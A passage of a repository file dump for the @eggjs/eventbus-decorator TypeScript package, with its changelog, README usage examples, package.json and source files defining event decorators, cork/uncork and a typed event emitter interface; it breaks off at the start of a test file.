    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n\n### Features\n\n* allow a handler to subscribe to multiple events ([#179](https://github.com/eggjs/tegg/issues/179)) ([1d460a5](https://github.com/eggjs/tegg/commit/1d460a5a6bdcf9a3d61b13d3527633c8b990a38c))\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.5.2](https://github.com/eggjs/tegg/compare/v3.5.1...v3.5.2) (2023-02-10)\n\n\n### Bug Fixes\n\n* eventbus cork should support reentry ([#98](https://github.com/eggjs/tegg/issues/98)) ([077044c](https://github.com/eggjs/tegg/commit/077044c040f8423572605eb2980e3cc6da8c038e))\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* implement cork/uncork for eventbus ([#60](https://github.com/eggjs/tegg/issues/60)) ([38114bd](https://github.com/eggjs/tegg/commit/38114bd7ea3b46cc4a79556a005ef18b2ae11ec2))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n* implement cork/uncork for eventbus ([#60](https://github.com/eggjs/tegg/issues/60)) ([38114bd](https://github.com/eggjs/tegg/commit/38114bd7ea3b46cc4a79556a005ef18b2ae11ec2))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/eventbus-decorator\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/README.md",
    "content": "# `@eggjs/eventbus-decorator`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/eventbus-decorator.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/eventbus-decorator.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/eventbus-decorator\n[snyk-image]: https://snyk.io/test/npm/@eggjs/eventbus-decorator/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/eventbus-decorator\n[download-image]: https://img.shields.io/npm/dm/@eggjs/eventbus-decorator.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/eventbus-decorator\n\n## Usage\n\n### emit event\n\n```ts\nimport { EventBus } from '@eggjs/eventbus-decorator';\n\n// Define event first.\n// Ts can check event and args type for you.\ndeclare module '@eggjs/eventbus-decorator' {\n  interface Events {\n    hello: (msg: string) => Promise<void>;\n  }\n}\n\nclass Foo {\n  @Inject()\n  private readonly eventBus: EventBus;\n\n  bar() {\n    this.eventBus.emit('hello', '01');\n  }\n}\n```\n\n### cork events\n\nCache events in memory until uncork.\n\n```ts\nclass Foo {\n  @Inject()\n  private readonly eventBus: ContextEventBus;\n\n  bar() {\n    this.eventBus.cork();\n    // ...do something\n    this.eventBus.emit('hello', '01');\n    // ...do other things\n\n    // emit all cached events\n    this.eventBus.uncork();\n  }\n}\n```\n\n### handle event\n\n```ts\n@Event('hello')\nexport class Foo {\n  async handle(msg: string): Promise<void> {\n    console.log('msg: ', msg);\n  }\n}\n```\n\n### handle multiple event\n\n```ts\n@Event('hello')\n@Event('hi')\nexport class Foo {\n  async handle(msg: string): Promise<void> {\n    console.log('msg: ', msg);\n  }\n}\n```\n\n### inject event context\n\ninject event context if you want to know which event is being handled.\nThe context param must be the first param\n\n```ts\n@Event('hello')\n@Event('hi')\nexport class Foo {\n  async handle(@EventContext() ctx: IEventContext, msg: string): Promise<void> {\n    console.log('eventName: ', ctx.eventName);\n    console.log('msg: ', msg);\n  }\n}\n```\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/package.json",
    "content": "{\n  \"name\": \"@eggjs/eventbus-decorator\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg eventbus decorator\",\n  \"keywords\": [\n    \"egg\",\n    \"eventbus\",\n    \"eventemitter\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/eventbus-decorator\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/eventbus-decorator\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"coffee\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/src/Event.ts",
    "content": "import { AccessLevel, PrototypeUtil, SingletonProto } from '@eggjs/core-decorator';\nimport { StackUtil } from '@eggjs/tegg-common-util';\n\nimport type { EventHandler } from './EventBus.ts';\nimport { EventInfoUtil } from './EventInfoUtil.ts';\n\nexport interface Events {}\n\nexport function Event<E extends keyof Events>(eventName: E) {\n  return function (clazz: new () => EventHandler<E>): void {\n    EventInfoUtil.addEventName(eventName, clazz);\n    const func = SingletonProto({\n      accessLevel: AccessLevel.PUBLIC,\n    });\n    func(clazz);\n    PrototypeUtil.setFilePath(clazz, StackUtil.getCalleeFromStack(false, 5));\n  };\n}\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/src/EventBus.ts",
    "content": "import type { Events } from './Event.ts';\nimport type { IEventContext } from './EventContext.ts';\nimport type { Arguments, TypedEventEmitter } from './typed-emitter.ts';\n\nexport type EventName = string | symbol;\nexport type { Arguments };\n\n/**\n * use `emit` to emit a event\n */\nexport interface EventBus extends Pick<TypedEventEmitter<Events>, 'emit'> {\n  cork(corkId: string): void;\n\n  /**\n   * @return true if uncorked\n   */\n  uncork(corkId: string): boolean;\n}\n\nexport const CORK_ID: symbol = Symbol.for('eventBus#corkId');\n\nexport interface ContextEventBus extends EventBus {\n  cork(): void;\n  uncork(): boolean;\n}\n\nexport type EventKeys = keyof Events;\n\n/**\n * use to ensure event will happen\n * Can not inject for now, only use for unittest\n */\nexport interface EventWaiter {\n  await<E extends keyof Events>(event: E): Promise<Arguments<Events[E]>>;\n\n  awaitFirst<E1 extends EventKeys, E2 extends EventKeys>(\n    e1: E1,\n    e2: E2,\n  ): Promise<{ event: E1 | E2; args: Arguments<Events[E1] | Events[E2]> }>;\n  awaitFirst<E1 extends EventKeys, E2 extends EventKeys, E3 extends EventKeys>(\n    e1: E1,\n    e2: E2,\n    e3: E3,\n  ): Promise<{\n    event: E1 | E2 | E3;\n    args: Arguments<Events[E1] | Events[E2] | Events[E3]>;\n  }>;\n  awaitFirst<E1 extends EventKeys, E2 extends EventKeys, E3 extends EventKeys, E4 extends EventKeys>(\n    e1: E1,\n    e2: E2,\n    e3: E3,\n    e4: E4,\n  ): Promise<{\n    event: E1 | E2 | E3 | E4;\n    args: Arguments<Events[E1] | Events[E2] | Events[E3] | Events[E4]>;\n  }>;\n}\n\ntype EventHandlerWithContext<E extends keyof Events> = {\n  handle: (ctx: IEventContext, ...args: Arguments<Events[E]>) => ReturnType<Events[E]>;\n};\n\nexport type EventHandler<E extends keyof Events> =\n  | {\n      handle: Events[E];\n    }\n  | EventHandlerWithContext<E>;\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/src/EventContext.ts",
    "content": "import assert from 'node:assert';\n\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport type { Events } from './Event.ts';\nimport { EventInfoUtil } from './EventInfoUtil.ts';\n\nexport interface IEventContext {\n  eventName: keyof Events;\n}\n\nexport function EventContext() {\n  return function (target: any, propertyKey: PropertyKey, parameterIndex: number): void {\n    assert(\n      propertyKey === 'handle',\n      `[eventHandler ${target.name}] expect method name be handle, but now is ${String(propertyKey)}`,\n    );\n    assert(parameterIndex === 0, `[eventHandler ${target.name}] expect param EventContext be the first param`);\n    const clazz = target.constructor as EggProtoImplClass;\n    EventInfoUtil.setEventHandlerContextInject(true, clazz);\n  };\n}\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/src/EventInfoUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport type { EventName } from './EventBus.ts';\n\nexport const EVENT_NAME: symbol = Symbol.for('EggPrototype#eventName');\nexport const EVENT_CONTEXT_INJECT: symbol = Symbol.for('EggPrototype#event#handler#context#inject');\n\nexport class EventInfoUtil {\n  /**\n   * @deprecated\n   */\n  static setEventName(eventName: EventName, clazz: EggProtoImplClass): void {\n    EventInfoUtil.addEventName(eventName, clazz);\n  }\n\n  static addEventName(eventName: EventName, clazz: EggProtoImplClass): void {\n    const eventNameList = MetadataUtil.initOwnArrayMetaData<EventName>(EVENT_NAME, clazz, []);\n    eventNameList.push(eventName);\n  }\n\n  static getEventNameList(clazz: EggProtoImplClass): EventName[] {\n    return MetadataUtil.getArrayMetaData(EVENT_NAME, clazz);\n  }\n\n  /**\n   * @deprecated\n   * return the last eventName which is subscribed firstly by Event decorator\n   */\n  static getEventName(clazz: EggProtoImplClass): EventName | undefined {\n    const eventNameList = MetadataUtil.initOwnArrayMetaData<EventName>(EVENT_NAME, clazz, []);\n    if (eventNameList.length !== 0) {\n      return eventNameList[eventNameList.length - 1];\n    }\n    return undefined;\n  }\n\n  static setEventHandlerContextInject(enable: boolean, clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(EVENT_CONTEXT_INJECT, enable, clazz);\n  }\n\n  static getEventHandlerContextInject(clazz: EggProtoImplClass): boolean {\n    return MetadataUtil.getMetaData(EVENT_CONTEXT_INJECT, clazz) ?? false;\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/src/index.ts",
    "content": "export * from './EventBus.ts';\nexport * from './Event.ts';\nexport * from './EventInfoUtil.ts';\nexport * from './EventContext.ts';\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/src/typed-emitter.ts",
    "content": "// forked from https://github.com/andywer/typed-emitter\n// export TypedEventEmitter from 'typed-emitter'\n\nexport type Arguments<T> = [T] extends [(...args: infer U) => any] ? U : [T] extends [void] ? [] : [T];\n\n/**\n * Type-safe event emitter.\n *\n * Use it like this:\n *\n * interface MyEvents {\n *   error: (error: Error) => void\n *   message: (from: string, content: string) => void\n * }\n *\n * const myEmitter = new EventEmitter() as TypedEmitter<MyEvents>\n *\n * myEmitter.on(\"message\", (from, content) => {\n *   // ...\n * })\n *\n * myEmitter.emit(\"error\", \"x\")  // <- Will catch this type error\n */\nexport interface TypedEventEmitter<Events> {\n  addListener<E extends keyof Events>(event: E, listener: Events[E]): this;\n  on<E extends keyof Events>(event: E, listener: Events[E]): this;\n  once<E extends keyof Events>(event: E, listener: Events[E]): this;\n  prependListener<E extends keyof Events>(event: E, listener: Events[E]): this;\n  prependOnceListener<E extends keyof Events>(event: E, listener: Events[E]): this;\n\n  off<E extends keyof Events>(event: E, listener: Events[E]): this;\n  removeAllListeners<E extends keyof Events>(event?: E): this;\n  removeListener<E extends keyof Events>(event: E, listener: Events[E]): this;\n\n  emit<E extends keyof Events>(event: E, ...args: Arguments<Events[E]>): boolean;\n  eventNames(): (keyof Events | string | symbol)[];\n  rawListeners<E extends keyof Events>(event: E): Function[];\n  listeners<E extends keyof Events>(event: E): Function[];\n  listenerCount<E extends keyof Events>(event: E): number;\n\n  getMaxListeners(): number;\n  setMaxListeners(maxListeners: number): this;\n}\n"
  },
  {
    "path": "tegg/core/eventbus-decorator/test/Event.test.ts",
